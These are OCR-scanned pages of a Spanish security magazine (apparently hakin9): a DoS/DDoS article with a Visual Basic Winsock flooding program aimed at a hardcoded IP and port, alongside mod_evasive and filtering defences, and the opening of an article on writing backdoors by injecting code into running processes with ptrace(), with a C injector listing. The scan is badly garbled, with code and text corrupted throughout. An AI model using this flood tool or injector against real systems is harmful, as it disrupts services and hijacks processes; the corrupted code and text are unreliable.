Uno de los mejores métodos y que
los sitios seguros utilizan actualmen-
te es el uso de cadenas MDS5 gene-
radas por el servidor y validas para
un usuario en una sesion dada, de
esta manera nos aseguramos que
el usuario que tiene privilegios es el
que realiza las acciones, ®

www. hakin®.org
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Los ataques DDoS

Jaime Gutierrez y Matew Liull :

Grado de dificultad
@

e caracterizan por su facil ejecucion y
S su principal rasgo es la dificultad con

la que pueden ser mitigados DoS es
el acronimo the Denial of Service (Denegacién
de Servicio). Un ataque DoS a un servidor co-
nectado a Internet tiene como objetivo agotar
SUs recursos, ya sean de ancho de banda o de
procesamiento, para que sea (practicamenta)
imposible acceder a &l. En principio, el realizar
un ataque DoS esta a disposicion de cualquie-
ra que disponga de mayor ancho de banda
que el servidor atacado y/o haya descubierto
alguna wvulnerabilidad del sislema operativo
que gestiona el servidor (o los routers). Esta
claro que |la primera opcibn no esta al alcance
de cualquiera por lo que los ataques DoS sue-
len ser del sequndo tipo. Quiza el ataques Do3
por excelencia es y sera el conocido ping de la
muerte, que consiste en enviar un ping con un
paguete de mas de 56k que colapsa el sistema,
este atague fué usado en los noventa, Otros
tipos basicos de ataque son: DoS mediante
paquetes ICMP (ping).

Es una técnica DoS que pretende agotar
el ancho de banda de la victima. Consiste en
enviar de forma continuada un ndmero elevado
de paquetes ICMP echo request (ping (1)) de

www.hakin9.org

(Alo largo del tiempo, los ataques de denegacioén de servicio han
sido un medio que junto con otras aplicaciones (recordemos el
caso MyDOOM) han sido un verdadero quebradero de cabeza
para administradores de sistemas y profesionales del sector.

tamafio considerable a la victima, de forma que
esta ha de responder con paquetes ICMP echo
reply (pong) lo que supone una sobrecarga tan-
to en la red como en el sistema de la victima.
Dependiendo de |la relacidn entre capacidad de
procesamiento de la victima y atacante, el gra-
do de sobrecarga varia, es decir, 5i un atacante
tiene una capacidad mucho mayor, la victima
no puede manejar el trafico generado.

¢Que es el ping?
Se trata de una utilidad que comprueba
el estado de la conexidén con uno o varios

-
En este articulo aprenderas...

»  Todo sobre los ataques DoS;

«  Bus distintos tipos de atagques y como intentar
mitigarios;

* Conocer como funciona un programa para
hacer DoS.

Lo que deberias saber...

«  Nociones basicas sobre las redes TCPAP,
*  Conocimientos de programacion,
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equipos remotos, por medio de
los paquetes de solicitud de eco
y de respuesta de eco (definidos
en el protocolo de red ICMP) para
determinar si un sistema IP espe-
cifico es accesible en una red. Es
util para diagnosticar los errores en
redes o enrutadores IP;

irping 192.168.0.1
Estadisticas de ping para 192.168.0.1:

Faguetes: enviados = 4,
racibidos = 4§, perdidos = 0

(0% perdidos.

Lo que vemos en la pantalla es una
respuesta mostrando la cantidad
de bytes que se estan enviando y
el tiempo que se demoran dichos
paquates,

Listado 1. Haciendo ping a 192.168.0.1 con 32 byles de dalos

fespuesta desds 1: bytes=3
Aespussca oRAdE L3, 10E. v oyLag=2
Hespuesca Jesde 192.16E.0.1: bDyces=3:

Hespuesta desde 132 _1&E.0.1:r bytegsi:

Al final del test se muestra un resu-
men con las estadisticas de la prueba.

Atague LAND

Un atague LAND se produce al en-
viar un paquete TCP/SYN falsificado
con la direccién del servidor objetivo
como si fuera la direccion origen y
la direccion destino a la vez. Esto
causa que el servidor se responda
a si mismo continuamente acabe
desbordandose y al final falle.

Connection FlooD
Todo servicio de Internet orientado a
conexion (la mayoria) tiene un limite
maximo en el nimero de conexiones
simultaneas que puede tolerar. Una
vez que se alcanza ese limite, no se
admitiran conexiones nuevas.

Asi, por ejemplo, un servidor Web
puede tener capacidad para atender

tiempo<lm TTL=128
tiempoclm TTL=1ZE

tiempo<lm TTL=12E

tiempo<lm TTL

Listado 2. Algunos comandos PING

Fing &l host especilicads nasta que e pace.

Para ver escadisticas y continuasr

farar - peasionar Comtrzol-C.

- presicnar Control-Inktec:

-a Resolver direcciones an nomboes de hoak.

=0 Clenta
. Lamano Enviar tamafio del Difer.
-& Estableger el
i TTL Tiemps de vida.

v 705 Tipo de servicio.

D.0.5.; Tipos de atague = Smur

Smurf
Brosdeas!

| Ping + spoot
B
Hacker

Wimero de peticlones eco para envlar.

sfdicador Ho fragmentar &n los pagquetes.

@l

MiMiplas
subredes

Figura 1. Esfructura de un ataque Smurf
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a mil usuarios simultaneos. Si un
atacante establece mil conexiones
¥y no realiza ninguna peticidn sobre
ellas, monopolizara la capacidad
del servidor. Las conexiones van
caducando por inactividad poco a
poco, pero el atacante sdlo necesita
intentar conexiones nuevas constan-
temente, como ocurre con el caso
del syn flood.

Afortunadamente este ataque
implica que la conexion tiene lugar o,
lo que es lo mismo, gue se completa
la negociacion en tres pasos que co-
mentabamos en la seccion anterior.
Debido a ello la maquina atacada
tiene constancia de la identidad real
del atacante. Al menos, si sus ad-
ministradores merecen su sueldo y
saben qué comandos utilizar.

Ataques Smurf
El ataque smurf utiliza una caracte-
ristica de Internet: broadcast. Toda
red tiene lo gque se denomina una
direccion de broadcast. Los datagra-
mas enviados a esa direccion son
recibidos por todas las maquinas en
la red local. Ello permite, por ejem-
plo, que una magquina localice un
servidor proporcionando un servicio
haciendo una pregunta a la red, no
preguntando maquina por maquina.
El problema de l|la direccidn
broadcast es que suele estar dis-
ponible también para usuarios de
fuera de la red local, en particular
para todo Internet. Ello permite, por
ejemplo, que un atacante envie un
pequerno datagrama a toda una red
remaota, ¥ que las magquinas de dicha
red respondan todas a la vez, posi-
blemente con un datagrama de ma-
yor tamafio. Si la red sondeada tiene
150 maquinas activas, la respuesta
es 150 veces mas intensa. Es decir,
s& consigue un efecto mulliplicador

Ataques DNS

y de enrutamiento

La mayoria de los protocolos de
enrutamiento como RIP (Routing
Information Protocol) o BGP (Border
Gateway Protocol) carecen de auten-
ticacion, o tienen una muy sencilla.
Se trata por tanto de un escenario
perfecto para que cualquier atacante
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pueda alterar las rutas correctas v,
falsificando su IP origen, crear una
condicion DoS. Las victimas de es-
tos ataques veran como su trafico se

dirige por ejemplo hacia un agujero
neqro: a una red que no exisle.

Los ataques DoS sobre servido-
res de nombres de dominios (DNS)

Tabla 1. Lista de puerlos usados generalmenie para el atague DoS y sus

correspondientes fallas

Servicio Puerto/Protocolo

Ftp 21/TCP

Vulnerabilidad
Wu-ftpd “site-exec” ,
FTP bounce, proble-
mas de validacion en
el FTPD

22(TCP

Buffer nvamnw en el
demonio SSH

LinuxConf 98/TCP

110/TCP

ﬂpuppar buﬂﬂr over-
flow y vulnerabilidades

en IMAP

Vulnerabilidades en el
servicio Irnuxnnnf

Metbios-ns 137/UPD

Recursos de windows
no protegidos

MNetbios-ssn 138/TCP

ObjectServer

S135/TCP

Vulnerabilidad en
Objectserver IRIX 5.3
y 6.2

BEmE .
Q-

INTERMET

- 2eR

EE_

ORGANIZACION ATACADA

Figura 2. Estructura de un ataque DDoS
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son tan problematicos como los an-
teriores. Estos atagues intentan con-
vencer al servidor DNS, por ejemplo,
para almacenar direccionas falsas:
cuando un servidor DNS realiza una
blsqueda el atacante puede redirec-
cionar a su propio servidor o bien a
un agujera negro.

Atagues DDOS

Los ataques DDo3 son ataques
DoS, pero distribuidos, es decir me-
diante mas host remotos.

Analizando los ataques
(DDoS)

Como ya hemos mencionado antes,
estos tipos de atagues se basan en
coordinar una serie de host conecta-
dos a Internet de tal forma que con-
centren su ataque simultaneamente
y desde diferentes lugares, sobre un
unico objetivo. Los distintos tipos de
ataques DDoS, como por ejemplo,
colapsar un servicio simulando co-
nexiones de miles de usuarios a la
vez, o haciendo que el liempo de
gspera sea elevado, aumentado de
esta forma el liempo de respuesta,
generando asi una gran canlidad de
trafico que como consecuencia del
gran consumo de ancho de banda
(bandwicht) agota los recursos de
una aplicacidn/servidor, Algunas de
las causas que hacen que el DDoS
sea un ataque tan extendido es por
ejemplo, que el protocolo TCPYIP no
tenga seguridad: ya que se disefid
para su empleo en una comunidad
abierta y confiada y la version gque
actualmente se usa tiene defectos
inherentes y graves. No puede mo-
dificarse o implementarse otro tipo
de seguridad por el simple motivo
de que Internet dejaria de funcionar.
Igualmente muchas implementacio-
nes del TCP/IP en sistemas opera-
tivos e incluso dispositivos fisicos de
red, tienen defectos que debilitan su
capacidad para resistir ataques.

Estructurando

un ataque DDoS

Un usuario ilegitimo, busca con el
ataques DDoS agotar los recursos
de una aplicacién o tomar esle como
un alaque secundario, para proceder
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a vulnerar otro sistema. La estructu-
ra de un ataque conjunto DoS3, es
casi siempre la misma. El primer pa-
50 que busca el atacante, es infectar
al mayor numero de victimas (lo que
significa mas host remotos) posible,
gsto se conseguia mediante worms,
troyanos, y otros tipos de bichos que
principalmente busca en &l sistema
un puerta por la cual acceder. Una
vez el sistema infectado, el atacante
instala en las maguinas remotas,
una aplicacion la cual le va a permilir
realizar este tipos de ataques. Un
usuario consigue la implantacion de
eslos en miles de maquinas, lo que
le producira una red botnet (comao
ya hemos tratados en articulos an-
teriores).

Estructurando una

defensa contra un DDoS
Un atagque de DDoS hacia tu web
puede ser letal para colapsar el ser-
vidor, y asi gastar todo tu bandwicht.
Por eso la defensa empieza en los
principales proveedores y los ISP
Podemos soportar el ataque de varias
ips (proveniente de vanos host remo-
tos) pero ;que pasa cuando un Botnet
de mas de 5000 zombis ataca nuas-
tro servidor?, estariamos indefensos
y perplejos sintiéndonos impotentes,
al no poder realizar nada. Para evitar
esto debemos llevar una politica de
seguridad estricta. Vamos a ver unos
métodos de defensa de un servidor
(tomandolo como referencia). El ata-
que de un DDoS contra un servidor,
s& concentra en gastar su ancho de
banda, y colapsarlo, para ello vamos

a analizar posibles subidas anormales
de trafico analizado los archivos.logs.
Instalacion de madulos de seguridad
(en nuestro caso el mod evasive) un
moadulo destinado a intentar mitigar el
DDoS, se configura para servidores
Apache veamos una configuracion
basica:

cIfHodule mad evasiva.cr
D0SHazhTableSize 3097
J05FageCount S
5SiteCount 100
MEPagelnteczval 2
DoSSitelntezval 2
MSRlockingPericad &0d

</IiModulex

DOSPageCount 5

Si la ip, recarga 100 paginas a me-
nos de 2 paginas por segundo, esta
sara banneada desde el servidor,
deteniendo el floodeo que provenia
por parte de esa direccion;

No permitir el trafico broadcast
desde fuera de nuestra red. De esta
forma evitamos ser empleados como
multiplicadores durante un ataque
smurf

Filtrar el trafico /P spoof: esto
s algo que todo carrier o backbo-
ne deberia hacer, y que permitiria
localizar y solucionar el problema
con una gran rapidez. En pocas
palabras, estos filtros evitan que un
atacante se pueda hacer pasar por
otro usuario.

Mo tener proxies abiertos a to-
do Internet: algunos administrado-
res tienen sus proxies, wingates,
open sesame, SOQCKS, SQUIDs,

Listado 3. Listado de un alague DDoS, el archivo log del servidor
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Jul 1

Jul i
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arnal

kernel
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e

s LLE
H
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153594 messeqes suppoessed.

drop open cequest from 20,14

81l messeges suppressed.

drop open redquest from EE.212.167_Z7/11

7 mesEeges SUDpTeEsed.

rop open peguest from BL, 28,

mesegEs SURpTessedn,
drop open pequest [rom Gl.:
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drop open request From BL.203.

masse0es Surpressed.

drop open reguest from El.:

drop open request Erom BL.3E.172.161/7356E

www. hakin9.org

etc. abiertos a todo el mundo,
sin ser conscientes de ello. Esto
permite que cualquier usuario de
Internet pueda atacar cualquier
sisterna responsabilizando a esa
red intermedia mal administrada.

«  Afinamiento en TCF/IP;

«  Aumentar backlog;

«  Disminuir el limeout;

«  Teoria de como hacer un DoS a
una Web.

El atague consistira en sobrecargar
el servidor de la Web mediante una
conexibn TCP/IP para asi colapsario
y provocar un DoS.

Ahora que ya tenemos una pe-
quefia idea de como vamos a tra-
bajar empecemos a tocar el Visual
Basic.

Para hacer una conexidn TCP/P
se lendra que agregar el control
Winsock que usa la dil WS2 32,
para C++ es la misma.

Bien, puesto que presupongo
gue hay personas de los que lean
este texto no saben Visual Basic
voy a explicar que el codigo.

Ahora que lo tenemos agregado
vamos a empezar a codear, primero
pondré el codigo ¥ luego lo expli-
care.

Lo que tenemos que agregar sea lo
siguiente:

« 2 CommandButton;
« 1 timer;
« 1 label.

Recaleco que los nombres de los co-
mandos deben de ser los que vienan
por defecto.

Ahora iremos por partes, primero
las declaraciones globales:

Dim HostT As Scring

Dim Fuerto A 3ting

Como vemos declaramos dos ca-
denas (Strings), una que contendra
la IP de la pagina web y la otra el
puerto a atacar.

En este ejemplo siempre trabaja-
remos por el puerto 80, aunque se
puede conectar a otros, tantos como
la web tenga abiertos.




K Alague

Bien, ahora veremos el codigo
que tiene que ir dentro del Timer,
que &s &l mas importante:

Privace Sub TL-"E'.."E._TL'-EE[:'
On Error Aesume Hext
Winsockl.Close

Winsockl .Conngct

inzockl .Sendlacs®"®

Primero, con el OR Errer Resume
nexr evilamos que si se produce
un error nos cierre el programa,
asi que con esto si hay algin error
lo omitira ¥y no nos cerrara el pro-
grama.

El Winsoskl.Clese @S Obligatorio
ponerlo, ya que si estamos en un
bucle, para volver a conectar se lie-
ne que cerrar primero el socket.

Bien, ahora coneluinsockl.Connect
conectamos al servidor y con el si-
guiente comando (winsockl.SendData)
le enviamos varios caracteres, para
aumentar asi el consumo de ancho
de Banda. Cabe destacar que la frase
que hay dentro de las comillas se pue-
de substituir por la que querais, esta
&5 s50lo de ejemplo.

En las propiedades tenais gue po-
ner en el Intervalo del timer o1 »° 1, ya
que eslo indica que lo que hay dentro
del Timer1 5& va a repetir cada milésima
de segundo.

Ahora pasemos al codigo del
Formulario en el evento Load (es
decir, cuando el formulario se car-
gue):

Privace Sub o 5-'-'__-:..5!4-\."-'”
Hosc = "'64.125.10.23""
Pusrto = *THQY?

End Sub

Aqui vemos que cuando cargue in-
troduciremos dentro de la variable
Hast la IP del Website y en Puerto
el puerto por el cual coneclare-
mos.

En el evento Error del Winsock
podemos poner un MessageBox que
nos avise de que la conexidn a falla-
do, esto no es obligatorio, pero si es

recomendable para saber el estado
de la conexion.

En el Evento Conect del Winsock
podemos copiar unas cuantas ve-
ces el Comando winscckl.SendData
y la frase que le persigue, esto au-
mentara mas aun el ancho de banda
consumido, aunque es recomenda-
ble no abusar, con ponerlo unas 5
veces ya vale,

Y bueno, con este comando tan
simple ya nos valdria para hacer
un DoS a un Websile que no tenga
mucho ancho de banda, aunque es-
to no solo afecta al ancho de banda,
sino que afecta al propio procesador
del Servidor, que tiene que procesar
los datos que le enviamos, las co-
nexiones nuestras y la de los otros
visitantes y aslo provoca el colapso
del Servidor,

Como aqui se pretende ayudar a
todo el mundo les diré que estos ata-
gues se pueden parar configurando
correctamente las IPTables.

Teoria sobre como hacer un
DoS en un servidor mediante
un Worm

Otra manera de hacer un DoS
&5 mediante un Gusano, lo que
suelen hacer los gusanos que ha-
cen DoS a websites es que a una
determinada hora envian todos
una peticion a un Servidor. Supon-
gamos que el gusano a infectado
a 10.000 Pc's, y estos realizaran
una peticion a al vez al servidor.
Si el ancho de banda del servidor
es pequefio el efecto seria como
un Tsunami, una avalancha de
peliciones para un solo servidor al
mismo tiempo.

Teoria sobre como hacer un
DoS en un servidor de IRC

Lo que se tiene que hacer para
colapsar un servidor de IRC es co-
neclarse a el mediante Bols, jque
son Bots? Pues son programas
que se conectan a un canal de IRC
aulomaticamente, estan programa-
dos para ello. Con ello se puede
conseguir desde inundar un Canal
haciendo hablar a todos los bots a
la vez, esto probablemente produci-
ria una sobrecarga de recursos en

el servidor para procesar todos los
mensajes y podria desde sacar a to-
dos los usuarios del IRC del Canal
a provocar un DoS en el servidor,
Evidentemente todo depende del
nidmero de Bots que programemaos.
MNormalmente se suelen programar
con un Array de sockets, que cada
uno trabaja independientemente.

Teoria de como hacer un DoS
en un servidor de juegos
Ahora vamos con el DoS mas com-
plicados de hacer que estén en los
que e axplicado.

Estos juegos suelen utilizar el
protocolo UDP, por lo tanto es im-
posible hacer un atagque de IP Spo-
ofing, ahora veran porque.

Bien, para ver el protocolo que
utiliza el Juego vamos a hacer que
el cliente del servidor se conecte
a nosotros mismos para ver las
cabeceras del protocolo, es decir,
el server solo responde a un lipo
de respuestas que solo conoce el
cliente y el servidor, si el protocolo
interno no es el mismo que el esta-
blecido se ignoraran las peliciones
por parte del servidor. Bien, para
sacar el protocolo podemos usar
el Metcat, ya que es bastante atil
para esto. Ponemos en escucha
gl netcat en un puerto aleatorio (el
que queramos) y luego en el Clien-
te establecemos que se conecte al
netcat, en la IP ponemos 127.0.0.1
{lcalhost) y de puerto ponemos el
puerto que habiamos puesto en el
netcat, si no nos hemos equivoca-
do en la pantalla del Netcat saldra
una frase, esta frase es la que
envia el cliente al Servidor para
identificarse.

Ahora cogemos Visual Basic y
con el Winsock programamos un
programa que se conecle al Ser-
vidor enviandole la frase que ha-
biamos sacado del Netcat, luego,
si todo funciona bien, el servidor
nos enviara otra frase distinta y al
final de todo, un codigo (un numero
o una frase). Aqui esta el problema
para hacer un IP Spoofing (2), ya
que el atacante no recibe los pa-
quetes enviados desde el Servidor
a la IP spoofeada.

wwrw.hakin9.org
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IP spoofing

IP SPOOFING: Es la suplantacion
de IP. Consiste basicamenta en
sustituir la direccidn IP origen de un
paquete TCP/IP por otra direccion
IP a la cual se desea suplantar. Esto
se consigue generalmente gracias a
programas destinados a ello y puede
sar usado para cualquier protocolo
dentro de TCPAF como ICMP, UDP
o TCP. Hay que tener en cuenta que
las respuestas del host que reciba
los paquetes irdn dirigidas a la IP
falsificada. Por ejemplo si enviamos
un ping (paquete icmp echo request)
spoofeado, la respuesta sera recibi-
da por el host al que pertenece la IP
legalmente. Este tipo de spooofing
unido al uso de peticiones broadcast
a diferentes redes es usado en un
lipo de ataque de flood conocido
como smurf ataque. Para poder
realizar IP SPOOFING en sesiones
TCP, se debe tener en cuenta el
comportamiento de dicho protocolo
con el envio de paquetes SYN y ACK
con su 1SN especifico y teniendo en
cuenta gque el propietarioc real de
la IP podria (si no se le impide de
alguna manera) cortar la conexion
an cualguier momento al recibir pa-
guetes sin haberlos solicitado. Tam-
bién hay que tener en cuenia que
los routers actuales no admiten el
envio de paguetes con IP origen no
perteneciente a una de las redes que

administra (los pagquetes spoofeados
no sobrepasaran el rouler).

En general se usa el termino
SPOOFING, como falseo de cualquier
terminologia, como por ejemplo; MAC
SPOOFING (falseo de una direccion
mac) EMAIL SPOOFING (falsec de
un e-mail).

Bien, ahora otra vez con &l Visual
Basic ponemos un puerto a la escucha
con el Winsock, esta vez conectaremos
&l Cliente del juego a nuestro programa
y al recibir los datos le enviaremos lo
que &l servidor nos a enviado.

Sl lo hacermos bien veremos que
el servidor nos da otra frase, en la cual
se puede ver el nick del Jugador (en
el caso del juego Quake Ill) y demas
configuraciones.

Ahora ya al enviar esto al servidor
desde nuestra aplicacion podremos
entrar como si fuesemos un Cliente del
Quake normal,

Ahora gque sabemos como disefiar
un Bot para &l juego lo que podemos
hacer es crear mas bots con un amay
de Sockets(3), lo que sucedera sera
igual que lo que pasa en &l servidor del
IRC, que al haber tanios bots hablando
a la misma vez pasara que el servidor
sacara a todos los usuarnios del juego
fuera,

iQueé es un socket?
Un socket (enchufe), es un méto-
do para la comunicacidén entre un

En la Red
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programa del cliente y un programa
del servidor en una red. Un soc-
ket se define como el punto final
en una conexion. Los sockels se
crean y se ulilizan con un sisterna
de peticiones o de llamadas de
funcién a veces llamados interfaz
de programacion de aplicacion de
sockets (API, application program-
ming interface).

Un socke! también puede ser
una direccidon de Internet, combi-
nando una direccion IP (la direccidn
numérica unica de cuatro partes que
identifica a un ordenador particular
en Internet) v un nomero de puerto
(el nimero que identifica una apli-
cacion de Internet particular, como
FTP. Gopher, o WWW).

Conclusion

Como hemos visto a lo largo del
articulo los ataques de denegacion
de servicio, se han convertido en
un medic deseado para atacantes,
debido a que su ejecucidn no es un
proceso complicado. Estos temas
son tratados como secundarios,
es decir, estiman poca atencién
a los administradores y profesio-
nales, pero debemos tenarios muy
presentes a la hora de estructurar
una politica de seguridad. En un
principio los ataques DoS son
medidas de sabotajes, de las que
el atacante no puede esperar obte-
ner nada a cambio como el acceso
a un servidor, datos, o otro tipo
de beneficic. Sin embargo, el pa-
sado mas reciente ha demostrado
que los ataques DoS si pueden
traer beneficios. De esta forma,
los ataques a importantes ofertas
de Internet como Yahoo! O eBay
ofrecieron un fuerte tiron a la
cotizacion de las empresas de la
competencia. Tras finalizar los ata-
ques se recuperaron rapidamente
las cotizaciones. Puede que todo
fuese obra de un CRACKER con
un depdsito de acciones. El estudio
de un plan a medida de seguridad,
la rapida intervencion de los me-
dios provisto, el continuo analisis
de la red. Ayudan a minimizar
y detectar precozmente este tipo
de atagues. ®
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Funcion de sobrescritura
usando ptrace()

Stefan Klags S

Grado de dificultad
[ N

-

05 ocuparemos mas detalladamente
N sobre la funcién prracen y aprende-

remos como escribir nuesltros propios
backdoors.

Hace mucho que no vimos ninguna funcion
publica de sobrescribir el codigo flotante. Hay
algunos codigos por debajo que no estan des-
cubiertos todavia hasta hoy en dia (10.2008) y
no hay buenos documentos que describen este
topico — asi os explico esta técnica. En caso de
gue 5epas prrace (), €ste articulo debe ser muy
interesante para i, ya que esto siempre ha sido
bueno para aprender cosas nuevas. No seria
gracioso si pudiéramos situar backdoors de
cualquier tamaro en la memoria de cualguier
proceso y cambiar su flujo de ejecucidn incluso
con un parche de pila no ejecutable? Luego,
sigue leyendo y te demostraré detalladamente
como hacerlo. Debes saber que usé las si-
guiantes versiones goc:

goc wversion 3.3.5 (Deblan)

gee versien 3.3.5 (SUEE Linux)

La compilacion es siempre la salida de gcc
file.c -o &n adelante, no necesitas ninguna
bandera especial de compilador y por eso no

www. hakin9.org

En primer lugar debo decir que todo este texto es especial para
Linux y la programacién ANSI C y se requiere algin conocimiento
de ASM. En el pasado habia diferentes procesos de las técnicas
de inyeccion que incluian ptrace(), un poco publico asi como
unos exploits privados, backdoors y otras aplicaciones.

vas a proveer ejemplos de compilacion. Esto
deberia ser obvio para todo el mundo. Es sufi-
ciente por el momento, empezamos.

La funcion ptrace() explicada
La funcidn ptracer @s muy Otil para depura-
miento. Se empela para trazar procesos.

La llamada del sistema prrace () suministra
un remedio con el cual un proceso padre puede
observar y controlar la ejecucién de otros pro-
cesos y examinar y cambiar su imagen nucleo

p
En este articulo aprenderas...

+  Como enlender ptrace () $}I'E|E':I"I"IEH||'.

*  Como emplearo para alterar el flujo de ejecu-
cidn de los programas en operacion al inyeclar
us propias instrucciones en la memoria de
procesos, asi tomando control de los procesos
&N operacion.

Lo que deberias saber...

+  Debes saber sobre el entormo de Linux environ-
ment asi comao tener conocimiento avanzado de
C y basico de Intel/AT&T ASM.
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y registros. Sobre todo se emplea
para implementar el depuramiento
del punto de rotura (breakpoint) y el
trazado de la llamada del sistema.

El padre puede iniciar la huella al
llamar la horquilla y teniendo el hijo
resultante haciendo PTRACE_TRA-
CEME, seguido (tipicamente) de
un exec. Allernativamente, el padre
puede empezar la huella del pro-
ceso existente empleando PTRA-
CE_ATTACH.

Al ser trazado, el hijo parara cada
vez cuando se entregue una senal,
incluso cuando la sefial se ignore (la
excepcion es SIGKILL que fiene su
efecto usual). El padre se enterara
en su siguiente espera y puede ins-
peccionar y modificar al proceso de
hijo cuando esta parado. Entonces
el padre hace que el hijo continue,
ignorando opcionalmente la sefal
suministrada (o incluso al suministrar
en su vez una sefal diferente).

Cuando el padre termine &l tra-
zado, eslo puede terminar el hijo
con PTRACE_KILL o hacer que esto
continde ejecutando en el modo nor-
mal, no trazado via PTRACE_DETA-
CH. El valor del pedido determina la
accion que ha de efectuarse:

« PTRACE_TRACEME — indica que
este proceso esta a trazar por su
hijo. Cualquier sefial (con excep-
cion de SIGKILL) suministrada a
este proceso hara que se pare
¥y su padre sera informado via la
espera. También, fodas las lla-
madas siguientes a exec por este
proceso haran gue SIGTRAP se
enviara a &, ofreciendo al padre
la oportunidad de ganar el contral
antes de que el nuevo programa
empiece la gjecucion. El proceso
probablemente no deberia hacer
esta demanda cuando su padre no
espera a lrazarlo (pid, addr, y los
datos son ignorados). La deman-
da mencionada emplea solamente
por el proceso hijo; el resto se usa
solamente por el padre. En las si-
guientes demandas, pid especifica
el proceso de hijo para seguirlo.
A las demandas diferentes de
PTRACE_KILL, el procesc hijo
debe estar parado,

Listado 1a. Simple inyector ptrace()

finclude <stdic.m>
tinclude <stdlib.h>
finclude <unistd.h>
finclude <asmfunistd.h>
finclude <agm/user.h>
Finclude <signal.h>
tlpclude <ays/stat.h>
Flnclude <85vE/Sw

fincledes <eccno.h>
finclude <linux/ptrace.h>

asmi"MY BEGIN:\n*®

“llama para malmin™): * para mazcar el dnicig

char *“getstring ivodd)
as=mi"call me\n®
Emarint
®*popl Weax'n®™

"addl S(MY ENT - ma), %Yeax\n

volid para mainiwvaid)

amnd WY _ENDIYh; * 18 cArgE urll S8 pardsiro o

char "GCecPapssits (void

agm{"call maZio®

"mel:\n"

*popl %eax'n™

"suhl 5(mel = MY BEGIN]. ieaxin

int PARR £IZE iwaoid)

L 1 o 0
azm{"=ovl 5[MY ERD=-MY BEZIK), "}

int main{inkt arge, char "argv

Lot DATHILIE?
ipt i, a4, pid;

char inject [BDOQL;

Btruct user regs strockt oeq:

prinef ("\n|[Exsmple Ptrace Injactorim®):

if jazgv|l
prinkfi®"[usage: s [pid] ]'n\n®, arzge|

axre (L]

pld = atod (aegwil]:

cugnde | iparasize % 4] != 0 parasizas

manzeCisinject, 0, sizeafinject)ir

parasize = PARM SIZE{):; /* caleulamos & ramats -

"5 " Lo ruieaac

mamepy(injese, GerParasitel), PEEA_S::;:zlj

if (prrace (PTHACE ATTACH, pid, 0,

www, haking.org
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| princf(*+ El pardsito escd en: Oxix

« PTRACE_PEEKTEXT, PTRA-
CE_PEEKDATA - lee la palabra
en la localizacion addr en la
memaoria de hijo, devolviendo

-

: Listado 1b. Simple inyector ptrace()

princf("cant attach to pid %d: Es'\n®, pid, sStrerrori(eczznol): |

Exinill:

prinel("+ conectade al id de process:

prinefi®=- enviando la sefial de parada..\n

kEill{piad, SIGSTOPF); F.para el proc
waiepidipid, WULL, WUNTRACED)

printfi"+ el procesc ha pacado. “n®):
ptrace | FTRACE GETREGS, pid, 0, &reg):
primefi®

for (i Jr i < parasize: i =

| int dw:

HE'."E'F'?":\.ﬂll', inject = 1, §b;
ptrace|PTRACE_POKETEXT, pid, reg.eip +

primcli™= detach..\n")s
ptrace | FTRACE _CONT, pid, 0, 00
ptrace (PTRACE DETACH, pid, 0, 0):
peincE ™+ Grished!\n\a"™);

exit (0] ;

L.

= galeulands &l tasafio de inyec

la palabra como resultado de la
lamada ptraceh.Linux NO liene
texto separado y espacios de
direccidn de datos, por lo tanto

=
[

dvn®, pidis

ciom da pardsito.. \m"):

— b A S —

i, dwps

B%, Ieg.elpli

=

Listado 2. Una ojeada en la Tabla GOT

sootdhal Sfroot|d cbjdump =R fuac/abinfhttpd Igzep read

0B0#EbSe R_386_GLOB_DAT
0B0BGE40 R_386_GLOB_DAT
DECEEcOC R_386_GLOB_DAT
0B0BGILD R JBE JUMP SLOT  fread
DEDEED24 R_3IB6_JUMP_SLOT  readdir
0BOBELI0 R_3IBE_JUMP_SLOT  read

rootfhal Jrootld

ap_server_pest_read_config
ap server pre read config
ap_threads per child

-- harg we got our ceadi)

e — — — — — — e — — ——— — S

Listado 3. Sys_write example

int patched syscalliint {d, char -data, int size|

gémas lof pardmecros da la pila;

. 1 o e . " [} -
A0 fI2SRY , OaClS € SRE enl

mowl 54, Yeax # ozriginal syscall
sovl 50x8 (Yeap) febx & Id

mowl Floec (besp), iacx f daca
movl S0xi0(%esp)-iledx # size

=ink S0xEO\R"

estas dos demandas actualmen-
te equivalen (los datos de argu-
mento son ignorados),
PTRACE_PEEKUSR - lee la
palabra en offset addr en ef
+area del USER de hijo, que
mantiene los registros y otra in-
formacion sobre el proceso (ver
<linux/usec.h™ Y ﬂ:ys#usqr.h?l
La palabra se devuelve como
resultado de la llamada grracen.
Tipicamente el offset deben ser
palabras ordenadas, aunque es-
to puede variar por arquitectura
(los datos son ignorados),
PTRACE_POKETEXT, PTRA-
CE_POKEDATA - copia las pa-
labras en la localizacion addr en
la memoria de hijos. Como arriba,
las dos demandas son actual-
mente equivalentes,
PTRACE_POKEUSR - copia los
datos de palabras para equilibrar
addr en el area USER de hijo. Co-
mo arriba, el equilibrio debe estar
lipicamente bien ordenado. Para
mantener la integridad del kermnel,
algunas modificaciones del area
de USER estan rechazadas,
PTRACE_GETREGS, PTRA.-
CE_GETFPREGS - copia el
objetivo general de hijo o de
los registros del punto flotante,
respectivamente, para localizar
los datos en el padre. Consulta
<linux/user.h™ para la informa-
cion sobre el formato de estos
datos (se ignora addr),
PTRACE_SETREGS, PTRACE_
SETFPREGS - copia el objetivo
general de hijo o de los registros
del punto flotante, respectiva-
mente, para localizar los datos
en el padre. Como para PTRA-
CE_POKEUSER, algunas modifi-
caciones de registros de objetivos
generales pueden estan rechaza-
dos (addr se ignora),
PTRACE_CONT - reinicia le
parado proceso de hijo. Cuando
la fecha es diferente de cero y
no SIGSTOP, se inlerpreta como
una sefial que se suministra al
hijo; en caso contrario, no se su-
ministra ninguna sefal. Asi, por
ejemplo, el padre puede contro-
lar cualquier sefial enviada al hijo

www. haking.org
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cuando suministrada o no (addr
s& ignora),

PTRACE_SYSCALL, PTRA-
CE_SINGLESTEP - reinicia el
hijo parado como para PTRA-
CE_CONT, pero arregla que el
hijo esté parado en la siguiente
entrada o bien para salir desde
la llamada del sistemma o bien
después de la ejecucion de una
simple  instruccidn, respecti-
vamente. (el hijo estard, como
siempre, parado hasta recibir

la sefial). Desde la perspectiva
del padre, parecera que el hijo
ha sido parado por la recepcion
de un SIGTRAP. Asi pues, para
PTRACE_SYSCALL, por ejem-
plo, la idea es inspeccionar los
argumentos a la llamada del sis-
tema en la primera parada, luego
al otro PTRACE_SYSCALL e
inspeccionar el valor de devo-
lucién de la llamada del sistema
en la segunda parada (addr se
ingora),

Listado 4. Ef codigo del inyeclor se encuenira en la Internet para

asignar la memoria necesitada

wold infect code
as=i®
